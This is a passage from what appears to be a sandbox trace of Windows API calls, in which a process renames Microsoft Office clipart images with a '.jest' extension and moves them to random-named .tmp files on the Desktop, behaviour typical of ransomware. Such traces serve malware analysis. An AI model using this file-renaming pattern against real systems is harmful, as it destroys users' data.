Office\\CLIPART\\PUB60COR\\J0341475.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg.jest")) returned 1 [0167.152] VarBstrFromR4 (in: fltIn=0x4794585c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.72") returned 0x0 [0167.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341475.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\n01FhzUbKEc15JrXFkCQbRUxD6MksBWTXspTAxc A3 ciXb7-JXnGIpO QmwHov9P 9-1jIODrkKZwHx2q6Gm3YAveFX7tBIQ6F6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\n01fhzubkec15jrxfkcqbruxd6mksbwtxsptaxc a3 cixb7-jxngipo qmwhov9p 9-1jiodrkkzwhx2q6gm3yavefx7tbiq6f6.tmp")) returned 0 [0167.153] GetLastError () returned 0x2 [0167.153] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.154] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg.jest")) returned 1 [0167.155] VarBstrFromR4 (in: fltIn=0x4794585c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.72") returned 0x0 [0167.156] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341499.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341499.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8P4l43u_AMmOKH7 d7PKIgDGyGfH8hHbozigQYt5Gsg2iuEpcakisgmU-ot4VqvXNfmWS4VCr2JYJMv3UAEHKTIA6yJWOz8hFyNVR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8p4l43u_ammokh7 d7pkigdgygfh8hhbozigqyt5gsg2iuepcakisgmu-ot4vqvxnfmws4vcr2jyjmv3uaehktia6yjwoz8hfynvr.tmp")) returned 0 [0167.156] GetLastError () returned 0x2 [0167.157] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.157] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg.jest")) returned 1 [0167.159] VarBstrFromR4 (in: fltIn=0x4794585c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.72") returned 0x0 [0167.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341534.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341534.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DVtZwhOseexsItPWTzb mZDYeeUrzEsmC52mDtR3s1aUGcvk6cHYxl-w42FkdQyR2RWXqTHL 4GnDwSWyNKACyTCWqSnpiSyEjP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dvtzwhoseexsitpwtzb mzdyeeurzesmc52mdtr3s1augcvk6chyxl-w42fkdqyr2rwxqthl 4gndwswynkacytcwqsnpisyejp.tmp")) returned 0 [0167.160] GetLastError () returned 0x2 [0167.161] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg.jest")) returned 1 [0167.163] VarBstrFromR4 (in: fltIn=0x4794585e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.73") returned 0x0 [0167.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341554.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VKrcDQS33_yhkg9PeZB4FvPl45ciDj9AbRmWIekn9FVbVtB0rcehPpPtpuEtyZWyNBTkC9ow9uPAqG 1Eb54KpfwLjbIFkMHsHcNk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vkrcdqs33_yhkg9pezb4fvpl45cidj9abrmwiekn9fvbvtb0rcehppptpuetyzwynbtkc9ow9upaqg 1eb54kpfwljbifkmhshcnk.tmp")) returned 0 [0167.164] GetLastError () returned 0x2 [0167.165] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg.jest")) returned 1 [0167.167] VarBstrFromR4 (in: fltIn=0x4794585e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.73") returned 0x0 [0167.168] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341557.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341557.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4FsXCs6xuGZyKltU-Xqz7MIMrH-pWvuLYURjMN6M1VzstL0nx3L9s9F7KchrLKUV_sztf73xbkCi6fR3ruujdoFJFq1vj6o-SZ_6w.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4fsxcs6xugzykltu-xqz7mimrh-pwvulyurjmn6m1vzstl0nx3l9s9f7kchrlkuv_sztf73xbkci6fr3ruujdofjfq1vj6o-sz_6w.tmp")) returned 0 [0167.168] GetLastError () returned 0x2 [0167.169] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.jest")) returned 1 [0167.184] VarBstrFromR4 (in: fltIn=0x47945860, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.75") returned 0x0 [0167.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_ws342Jm0Xy9TxTIgOVGn5WkgKNQQ75R6FjAc1vt6DA0ezxG4Aynr_LMxVZnN4E-4ixJioK-gFpIaILvZpmYT6fni0vcTRc56cY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ws342jm0xy9txtigovgn5wkgknqq75r6fjac1vt6da0ezxg4aynr_lmxvznn4e-4ixjiok-gfpiailvzpmyt6fni0vctrc56cy.tmp")) returned 0 [0167.185] GetLastError () returned 0x2 [0167.185] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.jest")) returned 1 [0167.207] VarBstrFromR4 (in: fltIn=0x47945862, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.77") returned 0x0 [0167.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m3jF DZZ58K3IzBYXjnGKB2yC_jlgHx4RBYBzQOfco5y64us9Ng3hz2gt_al88HZrjV jzkBoYuWR0dpZMlf Orj6MZEA6 8Belj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m3jf dzz58k3izbyxjngkb2yc_jlghx4rbybzqofco5y64us9ng3hz2gt_al88hzrjv jzkboyuwr0dpzmlf orj6mzea6 8belj.tmp")) returned 0 [0167.208] GetLastError () returned 0x2 [0167.208] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.jest")) returned 1 [0167.216] VarBstrFromR4 (in: fltIn=0x47945864, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.78") returned 0x0 [0167.217] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2EUthgmZCjLtBQlXUuj6Yqe4ZWtBBXkFriknYBjTJq4RYGqtcBux2AmKe82CJ2TaMZn3 rxoISFdklN6WqxH32vJuBwuHMcUd9zGA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2euthgmzcjltbqlxuuj6yqe4zwtbbxkfriknybjtjq4rygqtcbux2amke82cj2tamzn3 rxoisfdkln6wqxh32vjubwuhmcud9zga.tmp")) returned 0 [0167.218] GetLastError () returned 0x2 [0167.218] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.219] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.jest")) returned 1 [0167.220] VarBstrFromR4 (in: fltIn=0x47945864, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.78") returned 0x0 [0167.221] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tTxFKzUiDJSByXA7M7Ik8ugjmuNY7n3I5LSMviu6Yu1ATAccZ2 orD4KxSoM4B-MFfYUYDr6rQKxqMX044eJUJhuBwKBE64lB3U.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ttxfkzuidjsbyxa7m7ik8ugjmuny7n3i5lsmviu6yu1ataccz2 ord4kxsom4b-mffyuydr6rqkxqmx044ejujhubwkbe64lb3u.tmp")) returned 0 [0167.222] GetLastError () returned 0x2 [0167.222] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.222] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.jest")) returned 1 [0167.244] VarBstrFromR4 (in: fltIn=0x47945868, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.81") returned 0x0 [0167.246] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R9IU5tF_FM9hpCaZ3nAV9MPZWMWkrme0iZC333uUK5ye9CfgnEocDrqcQIiY_CdIgMFfJtef9-5szkE7iBCST4s4N22AY6K-z6bH.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r9iu5tf_fm9hpcaz3nav9mpzwmwkrme0izc333uuk5ye9cfgneocdrqcqiiy_cdigmffjtef9-5szke7ibcst4s4n22ay6k-z6bh.tmp")) returned 0 [0167.246] GetLastError () returned 0x2 [0167.246] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.247] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.jest")) returned 1 [0167.250] VarBstrFromR4 (in: fltIn=0x47945868, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.81") returned 0x0 [0167.251] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ewYD5FpBBte7 DK0m-9t-fTQnitqbF3OfERiV8x2mcmwmNITEkbS vBP45XiftijvychdCqcDRlfMmJZocFXputLHbR4qTgnZNs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ewyd5fpbbte7 dk0m-9t-ftqnitqbf3oferiv8x2mcmwmnitekbs vbp45xiftijvychdcqcdrlfmmjzocfxputlhbr4qtgnzns.tmp")) returned 0 [0167.252] GetLastError () returned 0x2 [0167.252] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.253] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.jest")) returned 1 [0167.272] VarBstrFromR4 (in: fltIn=0x4794586a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.83") returned 0x0 [0167.273] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HoBQu-o8v_ig8fFs5iS7lylMdUO22 ezod xdBGVwOZ21dIwGc-PPjhNT5eCGAJBTzGNvMwHHXugyWHyCdBdn4MXqZkivGOvr03h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hobqu-o8v_ig8ffs5is7lylmduo22 ezod xdbgvwoz21diwgc-ppjhnt5ecgajbtzgnvmwhhxugywhycdbdn4mxqzkivgovr03h.tmp")) returned 0 [0167.274] GetLastError () returned 0x2 [0167.274] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.276] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.jest")) returned 1 [0167.278] VarBstrFromR4 (in: fltIn=0x4794586c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.84") returned 0x0 [0167.279] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\REIxyo b2tKJ8BEpRlfVD7BxO82OH7idwxphSxvKilZ4xO4IZJxoIXYknXgC67Ip67AkgFk-VhZCb6-Q3OoKJxJuUI3BtwTbzm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\reixyo b2tkj8beprlfvd7bxo82oh7idwxphsxvkilz4xo4izjxoixyknxgc67ip67akgfk-vhzcb6-q3ookjxjuui3btwtbzm.tmp")) returned 0 [0167.279] GetLastError () returned 0x2 [0167.280] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.282] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.jest")) returned 1 [0167.284] VarBstrFromR4 (in: fltIn=0x4794586c, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.84") returned 0x0 [0167.285] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EPxd s ORt8UXxeYoETGMlHYphvnhMlVeI1FtPxL kAYqqeF4ouxC-tdkVUwkluREwBy07V9mkcGKtqgOR_3APOGbjNn5t3-f7Dk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\epxd s ort8uxxeyoetgmlhyphvnhmlvei1ftpxl kayqqef4ouxc-tdkvuwklurewby07v9mkcgktqgor_3apogbjnn5t3-f7dk.tmp")) returned 0 [0167.285] GetLastError () returned 0x2 [0167.286] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.286] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.jest")) returned 1 [0167.300] VarBstrFromR4 (in: fltIn=0x4794586e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75952.86") returned 0x0 [0167.301] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QSkfM6J0qYIP70gVRR0__fNRkIhjnwGM2t7xmr48qxoAbmdC Ve7lbhPyBu0DY7afnqZ-_BokNn3z6N27Tx5Of1 m7m6s3E07eW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qskfm6j0qyip70gvrr0__fnrkihjnwgm2t7xmr48qxoabmdc ve7lbhpybu0dy7afnqz-_boknn3z6n27tx5of1 m7m6s3e07ew.tmp")) returned 0 [0167.302] GetLastError () returned 0x2 [0167.302] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0167.303] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.jest")) returned 1 [0167.320] 